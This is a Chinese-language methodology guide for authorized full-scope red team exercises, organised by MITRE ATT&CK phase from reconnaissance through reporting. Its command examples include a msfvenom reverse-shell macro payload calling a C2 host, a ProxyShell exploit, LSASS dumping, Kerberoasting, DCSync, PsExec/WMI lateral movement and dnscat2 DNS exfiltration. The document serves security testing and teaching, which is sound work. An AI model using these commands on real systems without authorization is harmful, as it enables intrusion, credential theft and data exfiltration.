用途
全范围红队演练模拟真实世界攻击者在网络杀伤链各阶段的行为——从初始侦察到数据外传——以评估组织的检测、防御和响应能力。与渗透测试不同,红队行动优先考虑隐蔽性、持久性和基于目标的场景,模拟高级持续性威胁(APT)。
适用时机
- 开展涉及全范围红队演练的安全评估时
- 遵循相关安全事件的事件响应流程时
- 执行计划内的安全测试或审计活动时
- 通过动手测试验证安全控制措施时
前提条件
- 由高层领导签署的书面授权(《交战规则》文档)
- 明确的范围,包括范围内/范围外系统、升级联系人和紧急停止程序
- 相关攻击者组织的威胁情报(如 APT29、FIN7、Lazarus Group)
- 红队基础设施:C2 服务器、重定向器、钓鱼域名、载荷开发环境
- 法律审查,确认符合《计算机欺诈与滥用法》(CFAA)及当地法律
演练阶段
阶段 1:规划与威胁建模
根据威胁画像将演练映射到特定的 MITRE ATT&CK 战术和技术:
| 杀伤链阶段 | MITRE ATT&CK 战术 | 示例技术 |
|---|---|---|
| 侦察 | TA0043 | T1593 搜索开放网站/域名、T1589 收集受害者身份信息 |
| 资源开发 | TA0042 | T1583.001 获取基础设施:域名、T1587.001 开发能力:恶意软件 |
| 初始访问 | TA0001 | T1566.001 鱼叉式钓鱼附件、T1078 有效账户 |
| 执行 | TA0002 | T1059.001 PowerShell、T1204.002 用户执行:恶意文件 |
| 持久化 | TA0003 | T1053.005 计划任务、T1547.001 注册表运行键 |
| 权限提升 | TA0004 | T1068 利用漏洞提升权限、T1548.002 UAC 绕过 |
| 防御规避 | TA0005 | T1055 进程注入、T1027 混淆文件 |
| 凭据访问 | TA0006 | T1003.001 LSASS 内存、T1558.003 Kerberoasting |
| 发现 | TA0007 | T1087 账户发现、T1018 远程系统发现 |
| 横向移动 | TA0008 | T1021.002 SMB/Windows 管理共享、T1550.002 哈希传递 |
| 收集 | TA0009 | T1560 归档收集的数据、T1213 从信息库收集数据 |
| 外传 | TA0010 | T1041 通过 C2 通道外传、T1048 通过替代协议外传 |
| 影响 | TA0040 | T1486 为影响而加密数据、T1489 停止服务 |
阶段 2:侦察(OSINT)
# 被动 DNS 枚举
amass enum -passive -d target.com -o amass_passive.txt
# 证书透明度日志搜索
python3 -c "
import requests
url = 'https://crt.sh/?q=%.target.com&output=json'
r = requests.get(url)
for cert in r.json():
print(cert['name_value'])
" | sort -u > subdomains.txt
# LinkedIn 员工枚举
theHarvester -d target.com -b linkedin -l 500 -f harvest_results
# 技术指纹识别
whatweb -v target.com --log-json=whatweb.json
# 泄露数据凭据搜索(已授权)
h8mail -t target.com -o h8mail_results.csv
阶段 3:初始访问
红队演练常见的初始访问向量:
鱼叉式钓鱼(T1566.001):
# 生成带宏的载荷
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=c2.redteam.local LPORT=443 -f vba -o macro.vba
# 设置 GoPhish 活动
# 配置 SMTP 配置文件、带 pretext 诱饵的邮件模板和落地页
gophish --config config.json
外部服务利用(T1190):
# 扫描存在漏洞的服务
nmap -sV -sC --script vuln -p 80,443,8080,8443 target.com -oA vuln_scan
# 利用已知 CVE(示例:ProxyShell CVE-2021-34473)
python3 proxyshell_exploit.py -t mail.target.com -e attacker@target.com
阶段 4:后渗透与横向移动
# 态势感知(T1082、T1016)
whoami /all
systeminfo
ipconfig /all
net group "Domain Admins" /domain
nltest /dclist:target.com
# 从 LSASS 收集凭据(T1003.001)
# 使用 Havoc C2 内置模块
dotnet inline-execute SafetyKatz.exe sekurlsa::logonpasswords
# Kerberoasting(T1558.003)
Rubeus.exe kerberoast /outfile:kerberoast_hashes.txt
# 通过 WMI 横向移动(T1047)
wmiexec.py domain/user:password@target-dc -c "whoami"
# 通过 PsExec 横向移动(T1021.002)
psexec.py domain/admin:password@fileserver.target.com
阶段 5:目标达成
定义并追求特定目标:
- 域控制权:获得域管理员访问权限并执行 DCSync 凭据提取
- 数据外传:定位并外传核心数据(如 PII、财务记录)
- 业务影响模拟:演示勒索软件部署能力(不实际执行)
- 物理访问:门禁卡克隆、尾随进入、服务器机房访问
# DCSync 攻击(T1003.006)
secretsdump.py domain/admin:password@dc01.target.com -just-dc-ntlm
# 通过 DNS 外传(T1048.003)
dnscat2 --dns "domain=exfil.redteam.com" --secret=s3cr3t
阶段 6:报告与复盘
报告应包含:
- 执行摘要:业务影响、风险评级、关键发现
- 攻击叙述:活动时间线,附截图和证据
- MITRE ATT&CK 映射:所用技术的完整热力图
- 发现:每项发现附 CVSS 评分、证据、修复建议
- 检测差距分析:SOC 检测到的与遗漏的对比
- 紫队建议:针对已识别差距的具体检测规则
度量指标与 KPI
| 指标 | 描述 |
|---|---|
| 平均检测时间(MTTD) | 从行动到 SOC 检测的平均时间 |
| 平均响应时间(MTTR) | 从检测到遏制的平均时间 |
| TTP 覆盖率 | 已执行技术中被检测到的百分比 |
| 目标达成率 | 已完成定义目标的百分比 |
| 驻留时间 | 红队未被检测地保持访问的总时间 |
工具与框架
- C2 框架:Havoc、Cobalt Strike、Sliver、Mythic、Brute Ratel C4
- 侦察:Amass、Recon-ng、theHarvester、SpiderFoot
- 利用:Metasploit、Impacket、CrackMapExec、Rubeus
- 后渗透:Mimikatz、SharpCollection、BOF.NET
- 报告:PlexTrac、Ghostwriter、Serpico
参考
- MITRE ATT&CK 框架:https://attack.mitre.org/
- Red Team Guide:https://redteam.guide/
- PTES(渗透测试执行标准):http://www.pentest-standard.org/
- TIBER-EU 红队框架:https://www.ecb.europa.eu/paym/cyber-resilience/tiber-eu/
- CBEST 情报主导测试:https://www.bankofengland.co.uk/financial-stability/financial-sector-continuity